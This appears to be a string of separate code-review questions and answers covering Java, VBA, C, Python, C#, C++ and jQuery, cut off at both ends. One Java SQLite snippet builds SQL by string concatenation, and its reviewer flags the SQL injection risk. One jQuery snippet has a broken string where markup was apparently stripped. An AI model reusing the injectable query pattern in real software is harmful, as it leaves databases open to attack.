Use int where nulls are not possible, not Integer.
carry is only used locally -- keep it local. Referencing it outside the method can only be erroneous, so it shouldn't be visibly exposed to make that possible..
Carry calculation from i3 is OK here, but could in related algorithms be brittle -- it can't handle a digit-sum > 19 as the maximum carry it can produce is 1.
If addition completes with a carry of 0, it will output an unnecessary 0 digit.
If Strings are your inputs, you should probably build a String as the result via a StringBuilder -- not an ArrayList.
myString should be called result or sb, if you're building the result in it.
Build using StringBuilder in reverse order, and do it by character calculation (char) (i3 + '0') rather than toString() if you want to maximize efficiency.
Return the result from your function, and do the printing in main() instead. there. That way you have a general-purpose add() function and a fixed-purpose main() method for testing.

Is that complete enough?


Splitting 1 cell into 4 cells VBA This code is working, please find below the before and after data that i need to split as per criteria 1st column with data will be 6 chr, 2nd column 5 chr, 3rd column 4 chr, 4th column 2 chr.

Sub splitStyleFabricColourSize()

Dim cellRow As Range
Dim mergedCells As Range
Dim cellInfo As Long

On Error GoTo ErrorHandler

Application.ScreenUpdating = False
Application.DisplayAlerts = False

Set mergedCells = Selection

For Each cellRow In mergedCells.Cells
cellRow.Select

cellInfo = ActiveCell.Characters.Count
Debug.Print cellInfo

If cellInfo = 15 Then
Selection.TextToColumns Destination:=ActiveCell, DataType:=xlFixedWidth, _
        FieldInfo:=Array(Array(0, 1), Array(6, 1), Array(11, 1))

ElseIf cellInfo = 17 Then
Selection.TextToColumns Destination:=ActiveCell, DataType:=xlFixedWidth _
        , FieldInfo:=Array(Array(0, 1), Array(6, 9), Array(7, 1), Array(12, 9), Array(13, 1))

ElseIf cellInfo = 18 Then
Selection.TextToColumns Destination:=ActiveCell, DataType:=xlFixedWidth _
        , FieldInfo:=Array(Array(0, 1), Array(6, 9), Array(8, 1), Array(13, 9), Array(14, 1))

ElseIf cellInfo = 22 Then
Selection.TextToColumns Destination:=ActiveCell, DataType:=xlFixedWidth _
        , FieldInfo:=Array(Array(0, 1), Array(6, 9), Array(7, 1), Array(12, 9), Array(13, 1), _
        Array(17, 9), Array(20, 1))

ElseIf cellInfo = 23 Then
Selection.TextToColumns Destination:=ActiveCell, DataType:=xlFixedWidth, _
        FieldInfo:=Array(Array(0, 1), Array(6, 9), Array(7, 1), Array(12, 9), Array(13, 1), _
        Array(17, 9), Array(21, 1))

ElseIf cellInfo = 24 Then
Selection.TextToColumns Destination:=ActiveCell, DataType:=xlFixedWidth, _
        OtherChar:="/", FieldInfo:=Array(Array(0, 1), Array(6, 9), Array(7, 1), Array(12, _
        9), Array(13, 1), Array(17, 9), Array(22, 1))

ElseIf cellInfo = 25 Then
Selection.TextToColumns Destination:=ActiveCell, DataType:=xlFixedWidth _
        , OtherChar:="/", FieldInfo:=Array(Array(0, 1), Array(6, 9), Array(7, 1), Array( _
        12, 9), Array(13, 1), Array(17, 9), Array(23, 1))

ElseIf cellInfo = 26 Then
Selection.TextToColumns Destination:=ActiveCell, DataType:=xlFixedWidth _
        , OtherChar:="/", FieldInfo:=Array(Array(0, 1), Array(6, 9), Array(7, 1), Array( _
        12, 9), Array(13, 1), Array(17, 9), Array(22, 1))

ElseIf cellInfo = 27 Then
Selection.TextToColumns Destination:=ActiveCell, DataType:=xlFixedWidth _
        , OtherChar:="/", FieldInfo:=Array(Array(0, 1), Array(6, 9), Array(8, 1), Array( _
        13, 9), Array(14, 1), Array(18, 9), Array(23, 1))

ElseIf cellInfo = 29 Then
Selection.TextToColumns Destination:=ActiveCell, DataType:=xlFixedWidth, _
        OtherChar:="/", FieldInfo:=Array(Array(0, 1), Array(6, 9), Array(8, 1), Array(13, _
        9), Array(14, 1), Array(18, 9), Array(25, 1))

ElseIf cellInfo = 52 Then
Selection.TextToColumns Destination:=ActiveCell, DataType:=xlFixedWidth _
        , FieldInfo:=Array(Array(0, 1), Array(6, 9), Array(7, 1), Array(12, 9), Array(13, 1), _
        Array(17, 9), Array(20, 1), Array(42, 9))

End If

Next cellRow
Application.ScreenUpdating = True
Application.DisplayAlerts = True

Exit Sub
ErrorHandler:
Debug.Print "Error number: " & Err.Number & " " & Err.Description

End Sub

Some general ideas first, without fully understanding your criteria:

Work with arrays, not with ranges

name the variables according to their function, be precise

CellInfo => CellContentLength, LengthOfCellText, ...
mergedCells => CellsToSplit
cellRow => CurrentCell, ...


Structured, No Heap FizzBuzz Here was my first, simple C fizzbuzz:

#include <stdio.h>
void main() {
  for (int n = 1; n <= 100; ++n) {
    if (n % 3 == 0) printf("%s", "fizz");
    if (n % 5 == 0) printf("%s", "buzz");
    if ((n % 3 != 0) && (n % 5 != 0)) printf("%d", n);
    printf("\n");
  }
}

I was messing around, trying to separate the transformation logic from the looping logic. As a whole, I don't think that my second Buffer-based solution is necessarily "better" as a FizzBuzz solution, but I did like the way that I dealt with a limited-purpose character buffer.

Thoughts on the second solution?

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <assert.h>

#define BUFF_SZ 9

typedef unsigned int u32;
typedef int i32;

/// A string buffer with a notion of its own size.
typedef struct Buffer {
  char *s;
  u32 sz;
  char *ins_ptr;
} Buffer;

/// Returns the content of the buffer.
const char *Buffer_content(Buffer *);

/// Clears contents of the buffer.
void Buffer_clear(Buffer *);

/// Appends a string S to the end of the buffer.
void Buffer_append_str(Buffer *, char *);

/// Appends the string representation of an integer to the end of the buffer.
void Buffer_append_i32(Buffer *, i32);

/// Returns 1 if the buffer has space for a certain number of chars, else 0.
u32 Buffer_has_space(Buffer *, u32);

/* HIGH LEVEL CODE */

/// Writes a number's fizzbuzz transformation into a Buffer.
void write_fizzbuzz_transformation(i32 n, Buffer *buff) {
  Buffer_clear(buff);
  if (n % 3 == 0) Buffer_append_str(buff, "fizz");
  if (n % 5 == 0) Buffer_append_str(buff, "buzz");
  if (*Buffer_content(buff) == '\0') Buffer_append_i32(buff, n);
}

void main() {
  // setup the string buffer (stack allocated)
  char internal_buff[BUFF_SZ];
  Buffer buff;
  buff.s = internal_buff;
  buff.sz = BUFF_SZ;

  for (i32 i = 1; i <= 100; ++i) {
    write_fizzbuzz_transformation(i, &buff);
    printf("%d -> %s\n", i, Buffer_content(&buff));
  }
}

/* DETAILS -- IMPLEMENTATION CODE */

u32 Buffer_has_space(Buffer *buff, u32 requested_sz) {
  u32 available_sz = buff->sz - (buff->ins_ptr - buff->s) - 1;
  return (available_sz >= requested_sz);
}

void Buffer_append_str(Buffer *buff, char* s) {
  u32 needed_sz = strlen(s);
  assert(Buffer_has_space(buff, needed_sz));
  strcpy(buff->ins_ptr, s);
  buff->ins_ptr += needed_sz;
}

void Buffer_append_i32(Buffer *buff, i32 n) {
  i32 original = n;
  u32 needed_sz = 0;
  if (n < 1) ++needed_sz;
  while (n) {
    n /= 10;
    ++needed_sz;
  }
  assert(Buffer_has_space(buff, needed_sz));
  sprintf(buff->ins_ptr, "%d", original);
  buff->ins_ptr += needed_sz;
}

void Buffer_clear(Buffer *buff) {
  buff->ins_ptr = buff->s;
  *(buff->ins_ptr) = '\0';
}

const char *Buffer_content(Buffer *buff) {
  return buff->s;
}

Misleading

Why would You something like this:

typedef unsigned int u32;
typedef int i32;

That's quite misleading. On 64bit machines it's probably not going to be 32 bit wide. Standard uint32_t, int32_t types would be the way to go, if You really need fixed sized integers. Also, typedefing primitive types like that just sucks and kills readability.

Also, You're using unsigned int for storing size. Why not just size_t?

Readability

Typedefing structs as well kills a bit of readability.

What's char *s;? Start? String? Digging through Your code doesn't make it clearer, especially when You have something like this:

void Buffer_clear(Buffer *buff) {
  buff->ins_ptr = buff->s;
  *(buff->ins_ptr) = '\0';
}

What does this mean: if (*Buffer_content(buff) == '\0')? Something like if (Buffer_isEmpty(buff)) would be waaaaay clearer.

Why would You mix casing in function names? void write_fizzbuzz_transformation(), but const char *Buffer_content(), etc.

Also, decide how do You form Your function names. noun_verb, verb_noun, or whatever. Now it's... quite inconsistent. Again, write_fizzbuzz_transformation(), but Buffer_*().

Generic rant

assert() is not intended to be used for production code. It's used only for debugging purposes and only when NDEBUG is defined. Why wouldn't You have proper logger for errors like... not enough space and... wrong input? In fact, You have no control of wrong inputs because none of those are sanitized properly. For example imagine user of Your buffer library does something stupid like Buffer_clear(NULL), Buffer_content(NULL), etc.

In production code You have potential buffer overrun here:

void Buffer_append_str(Buffer *buff, char* s) {
  u32 needed_sz = strlen(s);
  assert(Buffer_has_space(buff, needed_sz));
  strcpy(buff->ins_ptr, s);
  buff->ins_ptr += needed_sz;
}

As I said before, assert() is used only for debugging purposes. You should use strncpy() or check buffer size explicitly. Same applies to void Buffer_append_i32(Buffer *buff, i32 n).

Also, it would be nice if You'd provide proper error codes or 0 on success on Your buffer operations.

Functionality

You could shorten the following and make it safer using snprintf():

u32 needed_sz = 0;
if (n < 1) ++needed_sz;
while (n) {
  n /= 10;
  ++needed_sz;
}
assert(Buffer_has_space(buff, needed_sz));
sprintf(buff->ins_ptr, "%d", original);

You have #define BUFF_SZ 9, but accepting unsigned integers, which are... by Your typedefs --- 32 bit long. So, anything over 99 999 999 goes to abyss...

Warnings

./fizz.c:45:6: warning: return type of ‘main’ is not ‘int’ [-Wmain]
void main() {
     ^


Beeping Alarm Function I'm trying to create an alarm function with Python3. The below code does work but it doesn't seem like this is the most optimal way of achieving something like this. Is there a more pythonic way?

#!/usr/local/bin/python3

import os
import time

def alarm():
    os.system('amixer -D pulse sset Master 30%')     # >> Set initial volume
    for beep in range(0, 20):
        time.sleep(.002)
        os.system('play --no-show-progress --null --channels 1 synth %s sine %f' % (.08, 2500))

alarm()

Pythonic approach

For sound playback in Python, see this discussion.
Avoid os.system

If you are forced to use it, supply a fully qualified path to the executable. You never know what weird program called play may be in the search path prior to an intended one.
Modularize

As written, the code is not reusable. An attempt to import it would result in an immediate alarm sound. Put the call to alarm in an

if __name__ == '__main__':

clause.
Avoid magic numbers

All the parameters (beep duration, volume, etc) better be passed via a command line (see sys.argv and optparse module).
Dummy variable

is customarily denoted as _:

    for _ in range(20):


KISS my... unit of work I've seen many, many UoW+Repository implementations. Whenever one was built on top of Entity Framework, I'd cringe at the added complexity.

Sure the complexity buys you (sometimes) full decoupling from Entity Framework, which in theory would possibly allow swapping EF for, say, NHibernate, or even "downgrade" to a lower-level ADO.NET solution.

But most people implement an IUnitOfWork interface for the sole purpose of enabling easier testability - I'm one of those. I'm not buying the "dude I can swap my ORM without touching the rest of my app" argument, simply because it's more often than not, a theoretical advantage, if not a plain lie.

So I like to keep it stupid simple (KISS), and only do the minimum needed to enable mocking of my DbContext class - here's a real-world IUnitOfWork interface I've written in a recent project:

  IUnitOfWork interface

public interface IUnitOfWork
{
    int SaveChanges();
    IDbSet<TEntity> Repository<TEntity>() where TEntity : class;
}

Entity Framework's DbContext is a unit of work, and IDbSet<TEntity> is a repository. So instead of going all out and writing a generic repository and adding a considerable amount of useless complexity (useless in the sense that I don't need that to enable mocking my DbContext), I'm making my DbContext-derived class implement my IUnitOfWork interface:

  CallAssistantContext class

[DbConfigurationType(typeof(MySqlEFConfiguration))]
public class CallAssistantContext : DbContext, IUnitOfWork
{
    public CallAssistantContext(string connectionString)
        : base(connectionString)
    { }

    public IDbSet<TEntity> Repository<TEntity>() where TEntity : class
    {
        return base.Set<TEntity>();
    }

    public IDbSet<CustomerServiceCall> CustomerServiceCalls { get; set; }

    public IDbSet<CallType> CallTypes { get; set; }
    public IDbSet<ContactType> ContactTypes { get; set; }
    public IDbSet<IssueType> IssueTypes { get; set; }

    public IDbSet<Customer> Customers { get; set; }
    public IDbSet<CustomerStore> CustomerStores { get; set; }
    public IDbSet<SalesRep> SalesReps { get; set; }

    protected override void OnModelCreating(DbModelBuilder modelBuilder)
    {
        base.OnModelCreating(modelBuilder);
    }
}

The "client code" depends on an abstraction - the IUnitOfWork interface, and can very easily be constructor-injected with a mock implementation in unit tests:

public class MainWindowViewModel : ViewModelBase
{
    private readonly IUnitOfWork _context;

    public MainWindowViewModel(IUnitOfWork context)
    {
        _context = context;
    }

Querying the context doesn't look too complicated either:

var cutoffDate = DateTime.Now.Subtract(TimeSpan.FromDays(7));
ServiceCalls = _context.Repository<CustomerServiceCall>()
                        .Where(e => e.CallStart >= cutoffDate)
                        .ToList();

So, is anything blatantly wrong with this approach? Here I've injected the UoW/context directly where it's needed - in a bigger project I would have created a "service" and constructor-injected the UoW there instead.

I'd second TopinFrassi's answer, that this is a more or less sensible approach, and the implementation is excellent. However, there are some potential issues, which I'll expand from craftworkgames' comments and your response. Because I can't really find anything that needs criticism in how it's written, this will be entirely design focussed.

There are two central issue in passing an interface that claims it can provide

IDbSet<TEntity> Repository<TEntity>() where TEntity : class;

You're promising an awful lot
You're exposing this outside of directly data-access related code (even if it's in service classes, these classes are unlikely to all be directly DA related except perhaps in a very small application)

And the problems this can cause are:

Exposing much more than a consumer needs. Any class that only needs to deal with SalesReps shouldn't also be passed a way to perform arbritrary crud operations on Customers. This is a violation of the Interface Segregation Principle.
Difficulty of mocking. An interface that can provide a lot means a lot to mock. It's likely that you'll be able to narrow down what actually needs to get mocked in individual tests, but often the practicality of that is having to couple to implementation details of the SUT which you aren't really trying to test, which makes your tests more brittle.
A leaky abstraction. Abstractions are about more than just being able to swap implementations, which means even if you have no interest in doing that, a leaky abstraction is still a problem. In this case you're exposing the big EF gotcha to every class who ever has to deal with entities: IQueryable. It does a good impression of IEnumerable, but then throws exceptions for a lot of arguments to its LINQ extensions which IEnumerable would happily process. Having to remember that code will need to be converted into SQL is not an issue you should expose throughout your service layer.
A lack of entity-specific methods. In addition to giving all your service classes too many general methods, you may also be giving them not enough specific methods. It's quite likely that you'll have queries or commands for a particular entity type which you'll want to do in several places- including across several service classes- but which are long/complex enough that repeating the entire query or command would be a DRY violation.

Resolving

That last problem is the one that screams out most for a particular answer, so let's start out with that. Say we've written a service class with a private method that does a complex query for us. Now we're writing another service class, and though the functionality isn't that similar, we find ourrselves needing the same query that was in that private method.

We do the obvious thing and pull the query out into its own class:

public class FirstFooService()
{
    public FirstFooService(IUnitOfWork unitOfWork, FooQueryHelper queryHelper) { //... }

    //...
}

public class SecondFooService()
{
    public SecondFooService(IUnitOfWork unitOfWork, FooQueryHelper queryHelper) { //... }

    //...
}

But now this really seems like a mess. We're relying on two different things- the unit of work and the query helper- to do our data access, at two different levels of abstraction. Which level do we actually want?

Well, I think the answer is straightforward. We added FooQueryHelper specifically because we found ourselves wanting that abstraction over accessing the IUnitOfWork directly. Moreover, if we look at the problems above, FooQueryHelper can solve all four of them. It solves 1,2 and 4 by its nature, and it can simply solve 3 by keeping its return types as IEnumerable rather than IQueryable, and by not exposing any methods which take an arbitrary Func or Expression to use as a filter.

All that remains is to extract the IUnitOfWork methods that we consume onto FooQueryHelper, narrowing them and making them more specific to keep them at the right abstraction level when possible. You can probably see the punchline coming- what we actually end up with isn't FooQueryHelper, but FooRepository. This can follow the standard generic repository pattern you'll find described all over the place. If you look back at the root problems, you can see these are solved too: now everything relies on a much smaller, more targeted interface, and data access concerns are kept in data access classes, rather than spreading out to every service that cares about entities.

Conclusion

But what about KISS? Possibly you were already aware of the generic repository, and you wanted to avoid it because of its apparently needless complexity and indirection. Well, yes, as always there's the tradeoff- in a small, simple application, at what point does further SOLIDifying your code consume more development resources than it'll ever buy you back? That's a judgement call you'll have to make. But hopefully I've given some reasons beyond just "So I can swap my ORM" for why you might pick this more complex pattern.

Also note that the generic repository is, at its core, not actually all that complex or bulky to implement. It really starts out as just a thin wrapper over IDbContext. But don't be misled! A repository should not just be an adapter from IDbSet to an interface you control, it should be a full-blown abstraction layer! So if you do find yourself adding more methods, that's probably vindicating the choice of that pattern.


Asking for a yes/no user input So I have encountered a problem with asking user for input to be exact what is the best way to ask yes/no, for example accepting y / n and why is if i == no or i == c_n:  not working? What are other mistakes or bad practices that I'm doing here?
i = input('yes/no: ')
success = "Success"
exit = "EXIT"
error = 'ERROR'
yes = 'yes'
c_y = 'y'
c_n = 'n'
no = 'no'

if i.lower().strip() == yes:

    i = input('Continue: ').lower().strip()
    if i == yes or i == c_y:
        print('{}'.format(success))
    if i == no or i == c_n:
        print('{}'.format(exit))
else:
    print('{}'.format(error))

Solution to my problem:
success = "Success"
exit = "EXIT"
error = 'ERROR'
yesAnswers = ['yes', 'y', 'sure!', ''];
noAnswers = ['no', 'n', 'nope']

answer = input('Yes/No or Enter: ').lower().strip()

if answer in yesAnswers:
    print(success)
elif answer in noAnswers:
    print(exit)
else:
    print(error)

Full code:
class characters:

    def __init__(self, title, character_name, power_score, biography):
        self.title = title
        self.character_name = character_name
        self.power_score = '| ' + 'Power score - ' + power_score + ' -\n'
        self.biography = biography

    def title_name(self):
        print('{} {}'.format(self.title,self.character_name))

    def characters_data(self):
        print('{} {} {} {}'.format(self.title, self.character_name, self.power_score, self.biography))

B_Cider = characters('Barbarian', 'Cider', '4854', 'Not much is known about this character')
L_Cido = characters('Lord', 'Cido', '7910', 'Not much is known about this character' )

# Y(Height) of ascii-art
z = 12
for x in range(z):
    print("-" * (z-x) + "*" * x + " " * x + "-" * (z-x))
# ...............

answer = input('Are you ready to play? (Yes/No or Enter) : ').lower().strip()
first_selection = "Do you want to be a Hero? (Yes/No or Enter) : "
not_Ahero = "\nYou have selected not to be a hero\n____\nYour characters profile:"
Ahero = "\nYou have selected to be a hero\n____\nYour characters profile:"
error = 'ERROR'
yesAnswers = {'yes', 'y', 'sure!', 'yea', 'yeah', 'ye', 'si', ''}
noAnswers = {'no', 'n', 'nope', 'nah', 'not'}

if answer in yesAnswers:
    answer = input(first_selection).lower().strip()
    if answer in yesAnswers:
        print(Ahero)
        print(characters.characters_data(B_Cider))
    if answer in noAnswers:
        print(not_Ahero)
        print(characters.characters_data(L_Cido))
else:
    print(error)

characters should be named Character
Add some type hints
Use f-strings
Use int or float for power score, not str
Use a @property where appropriate
As-is, there isn't a lot of advantage to separating your prompt strings into variables
For the data method, don't force a print - just return a string and print at the outer level
Add a main
Square brackets around an input choice implies that it is the default to be selected on 'enter'
Simplify your yes/no check to only care about the first letter; anything more complicated isn't all that useful
Add an input validation loop

Suggested:
class Character:
    def __init__(
        self,
        title: str,
        name: str,
        power_score: int,
        biography: str = 'Not much is known about this character',
    ):
        self.title = title
        self.name = name
        self.power_score = power_score
        self.biography = biography

    @property
    def full_name(self) -> str:
        return f'{self.title} {self.name}'

    @property
    def data(self) -> str:
        return (
            f'{self.title} {self.name} | Power score - {self.power_score} -\n'
            f'{self.biography}'
        )

def ascii_art():
    # Y(Height) of ascii-art
    z = 12
    for x in range(z):
        hyphens = "-" * (z-x)
        print(hyphens + "*" * x + " " * x + hyphens)

def input_yesno(prompt: str) -> bool:
    full_prompt = f'{prompt} ([Yes]/No): '
    while True:
        answer = input(full_prompt).strip()
        if answer == '':
            return True

        answer = answer[0].lower()
        if answer == 'y':
            return True
        if answer == 'n':
            return False
        print('ERROR')

def main():
    ascii_art()
    if not input_yesno('Are you ready to play'):
        return

    is_hero = input_yesno('Do you want to be a Hero')
    print('\nYou have selected', end=' ')
    if is_hero:
        print('to be a hero')
        character = Character('Barbarian', 'Cider', 4854)
    else:
        print('not to be a hero')
        character = Character('Lord', 'Cido', 7910)

    print("\nYour character's profile:")
    print(character.data)

if __name__ == '__main__':
    main()


SQLite UPDATEs for persons and a subclass I am using Java with SQLite and I am wondering if I am in the right track onto writing good code i.e. more or less reusable:

SQL scheme:

CREATE TABLE Pessoa (
  CPF VARCHAR(11)  NOT NULL  ,
  telefone INTEGER    ,
  celular INTEGER    ,
  nome VARCHAR(255)      ,
PRIMARY KEY(CPF));

CREATE TABLE Mecanico (
  Pessoa_CPF VARCHAR(11)  NOT NULL  ,
  apelido INTEGER  NOT NULL    ,
PRIMARY KEY(Pessoa_CPF)  ,
  FOREIGN KEY(Pessoa_CPF)
    REFERENCES Pessoa(CPF)
      ON DELETE NO ACTION
      ON UPDATE NO ACTION);

   final static String UPDATE = "UPDATE ";
      private static void alterarWrapper(String query){
      Connection connection = null;
        try
        {
          // create a database connection
          //connection = DriverManager.getConnection("jdbc:sqlite:4rodas.db");
          connection = DriverManager.getConnection("jdbc:sqlite:C:/dropbox/4rodas.db");
          Statement statement = connection.createStatement();
          statement.setQueryTimeout(30);
          statement.executeUpdate(UPDATE + query);
        }
        catch(SQLException e)
        {
          System.err.println(e.getMessage());
        }
        finally
        {
          try
          {
            if(connection != null)
              connection.close();
          }
          catch(SQLException e)
          {
            System.err.println(e);
          }
        }
      }

      public static void atualizar(Mecanico mecanico){
          String pessoa = "Pessoa SET telefone="+mecanico.getTelefone()+
                  ",celular="+mecanico.getCelular()+",nome='"+mecanico.getNome()+
                  " where CPF='"+mecanico.getCPF()+"';";
          System.out.println(pessoa);
          alterarWrapper(pessoa);
          String apelido = "Mecanico SET apelido='"+mecanico.getApelido()+
                            "' where Pessoa_CPF='"+ mecanico.getCPF()+"';";
          System.out.println(apelido);
          alterarWrapper(apelido);
      }
      public static void atualizar(Pessoa cliente){
          String pessoa = "Pessoa SET telefone="
                  +cliente.getTelefone()+",celular="+cliente.getCelular()+",nome="+cliente.getNome()+" where CPF='"+ cliente.getCPF() +"';";
          alterarWrapper(pessoa);
      }

My doubts are:

About the update methods are they are updating everything but the primary key, because I cannot really see how to implement a way of updating just the necessary.
Is it a good idea to do atualizar(Class class) and then format and use the wrapper?

Schema

I'm glad to see that you defined a foreign key.  However, I find it odd that you specified NO ACTION, since that means that SQLite will not enforce your data integrity.  I would expect either RESTRICT or CASCADE.

Your approach to inheritance is closest to Concrete Table Inheritance.  I'm not convinced, though, that such a complication is justified.  Single Table Inheritance would be much simpler.  In fact, I'm not even convinced that only mechanics should be allowed to have nicknames, so perhaps no inheritance at all would be the most appropriate design.

Wrapper

The effort to ensure that the connection gets closed is clumsy.  Since Java 7, the preferred way to close a connection is using a try-with-resources block.  The Statement should be closed using try-with-resources as well, which you neglected to do.

But you really should not be opening a new connection for every query, because there is a large overhead involved in establishing a connection.  Once you make the connection explicit, much of the motivation for having any wrapper at all on top of JDBC disappears.

(There is a middle ground: connection pooling.  With connection pooling, "closing" the connection doesn't actually close it, but merely releases it into a pool so that it can be reused.)

The UPDATE queries

Splitting "UPDATE " into a separate string constant is weird and unhelpful.

You have SQL injection vulnerabilities due to the way you misused the JDBC API.  The statements should use placeholders:

"UPDATE Pessoa SET telephone=?, celular=?, nome=? WHERE CPF=?"

To update a Mecanico, you need to make updates to two tables.  The two updates should probably be grouped into one transaction, so that either both updates succeed or neither update has any effect.


Fastest way to search istringstream for patterns in around 0.02 seconds Problem
I have a stream composed of 2 columns and 1000 lines:

Column 1: contains the patterns that I want to find
Column 2: contains the values corresponding the the patterns in Column1

I want to search for the patterns in column 1, extract their corresponding values in column 2 and save them in vectors. I actually have 3 types that I want to look for which are : {type, label, name}. Therefore i'll have 3 vectors for every type .pair<string,string> represents column 1 and column 2.
vector<pair<string,string>>` types
vector<pair<string,string>> Labels
vector<pair<string,string>> names

I read the file sequentially. If I find the pattern that I am looking for in column 1 I extract the value in column 2 and append it with the corresponding vector.
All the other patterns will be saved in a vector called others.
vector<pair<string,string>> others

Sample
Column 1 contains the patterns that I want to look for{type, label, name}. and Column 2 the corresponding values
rdf-syntax-ns#type base.qualia.topic
rdf-syntax-ns#type common.topic
rdf-syntax-ns#type film.producer
rdf-schema#label  สตีฟ จอบส์
rdf-schema#label  ﺎﺴﺗیﻭ ﺝﺎﺑﺯ
rdf-schema#label  Styvas Džobsas
type.object.name ﺎﺴﺗیﻭ ﺝﺎﺑﺯ
type.object.name Styvas Džobsas
type.object.name Steve Jobs
type.object.name Steve Jobs

What is the fastest way to search and extract the values?
The following source code takes 0.04 seconds to read 1000 lines, find the patterns and extract their corresponding values.
void returnValues(const string & file, vector<pair<string,string>> & types, vector<pair<string,string>> & labels, vector<pair<string,string>> & names, vector<pair<string,string>> & others)
{
  istringstream str(file);
  string line;
  //skip first line
  getline(str,line);
  while(getline(str, line))
  {

     vector<string> values;
     line.erase(remove( line.begin(), line.end(), '\"' ), line.end());
     boost::split(values, line, boost::is_any_of("\t"));
     if(contains(values[0],"type"))
     {
         pair<string,string> fact = make_pair(values[0], values[1]);
         types.push_back(fact);
      }
      else if(contains(values[0],"label"))
      {
          pair<string,string> fact = make_pair(values[0], values[1]);
          labels.push_back(fact);
      }

      else if(contains(values[0],"name"))
      {
        pair<string,string> fact = make_pair(values[0], values[1]);
        names.push_back(fact);
      }
     else
     {
        pair<string,string> fact = make_pair(values[0], values[1]);
        others.push_back(fact);
      }
   }
}//end function

Without profiling data, I can only guess... so here goes:

At a quick glance the biggest inefficiency I can see is that you allocate and de-allocate the vector capacity for values in each iteration. This takes some time, just move the vector outside of the loop and use clear() at the head of the loop.

Like this:

vector<string> values;
while(getline(str, line))
{
   values.clear();

Another thing that you can do (even though I don't believe it will affect your result significantly) is to use emplace_back instead of push_back to avoid the possibility of a copy.

Like this:

 types.emplace_back(values[0], values[1]);

This will construct the pair in place and avoid the pair copy constructor (the compiler might have optimized this for you already). While we're at it, we can realize that values will not be used after this statement until it is cleared. So we can steal the memory and avoid another two new/deletes (unless your STL has SSO and your strings are small, in which case this is moot) just activate the move construction of the pair like this:

 types.emplace_back(std::move(values[0]), std::move(values[1]));


Function for adding a tag to the first row of a table is running slowly I have a jQuery function which adds a tag to the first row of a table. I previously tried using append, however that didn't work. I now have the following solution which is very slow and it gives this warning:

  A script on this page is causing Internet Explorer to run slowly

Function:

jQuery.fn.fixGridView = function () {
    "use strict";
   // var start = +new Date();  // log start timestamp
    if (jQuery(this).is('table') && this.find('thead').length === 0) {

        var theadv = "

" + this.find('tbody tr:first').html(); +"

";

        this.find('tbody tr:first').remove();
        var htmlv = this.html();
        this.html(theadv + htmlv);
    }
    //var end = +new Date();  // log end timestamp
   // var diff = end - start;
   // alert(diff);
    return this;
};

I have to use IE8, it is client's requirement.
I have also created a jsfiddle.

As far as I understand, you just want to wrap the first as <thead> and the rest in <tbody>. Why it's slow:

html() is one possible cause. That's because you're reconstructing the DOM rather than reusing what's there already.
find() is a descendant lookup function. It looks for elements deep into the tree. If  you know that the element is a few levels down, then use multiple children() calls instead which only searches one level deep.
Just to add, attribute selectors like [id*="gvCategories"] are very slow. Better to use multiple classes instead, like class="MainContent gvCategories". That way, you can do $('.gvCategories'), which is faster.

The fastest and most painless fix is to just write the HTML with the first row in a <thead>. Plain and simple.

If you really want to go with JS, then here's my take on it and the performance test to prove it

jQuery.fn.fixGridView = function () {
    "use strict";

    // A jQuery object may be more than one element. Operate on each  using each()
    // Additionally, return the result to allow chainability.
    return this.each(function () {
        // Cache the element to avoid doing DOM refetch
        var element = $(this);
        if (!element.is('table')) return;

        // No need for tbody, since the browser automatically adds it
        // http://stackoverflow.com/a/938143/575527

        // Now we avoid using find() since it looks for all descendants.
        // Instead, we use children() to limit our search to 2 levels of children
        var rows = element.children('tbody').children('tr');
        var thead = element.children('thead').length;

        // Get the first row, wrap it in <thead>, and prepend it to the table
        if(!thead) rows.eq(0).wrap('<thead/>').parent().prependTo(element);

    });

};

$(document).ready(function () {
    $('.gvCategories').fixGridView();
});


Making a list from user input - follow-up I have made the changes that people have suggested from my previous question.  I want to try and make it even tidier if possible.  What can I change to make it more optimized? My imports are quite messy and I am not sure what ones I actually need, so if you can help with that, please do.

#Imports
import tkinter
from tkinter import *
from tkinter.filedialog import askopenfilename
from tkinter.filedialog import asksaveasfilename
from tkinter.messagebox import showerror
from tkinter import filedialog
import sys

class MyFileManager(object):
    def __init__(self, filename='', save_filename=''):
        self.filename = filename
        self.save_filename = save_filename

    def save_users_list(self, list_name):
        with open(self.filename, 'r') as file:
            users_list = [line.strip() for line in file.readlines()]

        with open(self.save_filename, 'w') as file:
            file.write('{} = {}'.format(list_name, str(users_list)))

    def get_filename(self):
        self.filename = askopenfilename(filetypes=(("Text files", "*.txt"),
                                                        ("All files", "*.*")))

    def get_save_file(self):
        self.save_filename = asksaveasfilename(filetypes=(("Text files", "*.txt"),
                                                          ("All files", "*.*")))

manager = MyFileManager()

#Window
window = tkinter.Tk()
window.title("Python List Maker")
window.geometry("300x170")

#Label
file_select_label = tkinter.Label(window, text="Please select your file:")
file_select_label.pack()

#Button
filename_button = tkinter.Button(window, text="Browse", command=manager.get_filename)
filename_button.pack()

#List Name
list_name_label = tkinter.Label(window,text="Please enter what you want to call the list:")
list_name_label.pack()
list_name = Entry(window)
list_name.pack()

#Save List
save_list_label = tkinter.Label(window,text="Please select where you want to save the list:")
save_list_label.pack()
save_filename_button = tkinter.Button(window, text="Browse", command=manager.get_save_file)
save_filename_button.pack()

#Go
go_button = tkinter.Button(window, text="Go!", command=lambda: manager.save_users_list(
                                                                    list_name.get()))
go_button.pack()

#Main Loop
window.mainloop()

The PEP8 document I linked to in my answer on your previous question has a section around imports and how you should structure them. Some of the main points:
# This is ok.
from tkinter.filedialog import askopenfilename, asksavefilename

# System libraries, then 3rd party, then local
import sys
import tkinter
import mymodule

As a general guideline, it is not prudent to do: from module import *. This is because that single line imports ALL submodules in a module which, depending on how large the module is, can pull in a lot of extra, not needed stuff.
Now, I will not tell you which imports you don't need, mainly because I feel that the 'how' and 'what' ideas behind imports is something best learned on your own with some light prodding and guidance. I will say this, these two import statements are equivalent:
import tkinter
tkinter.filedialog.askopenfilename(...)

from tkinter import askopenfilename
askopenfilename(...)

Using the above ideas, you'll find you have a few not-needed imports. Also, a quick search-and-find in a text editor will show another import that is not needed (HINT: search for showerror).
As another rule of thumb: import only what you need and be as specific as is prudent.


Sorting numbers into bins I have two 2D arrays of doubles a and b. Both have two rows and different numbers of columns.

a [[ 1,2,3][4,5,6]]

The list b represents a number of bins of numbers and the list is a list of numbers I'm trying to sort into these bins.

I need to go through each of the numbers in b to look for its corresponding bin. Here's the code I have, which works perfectly but I need to optimize it. Any ideas?

        int k = 0;
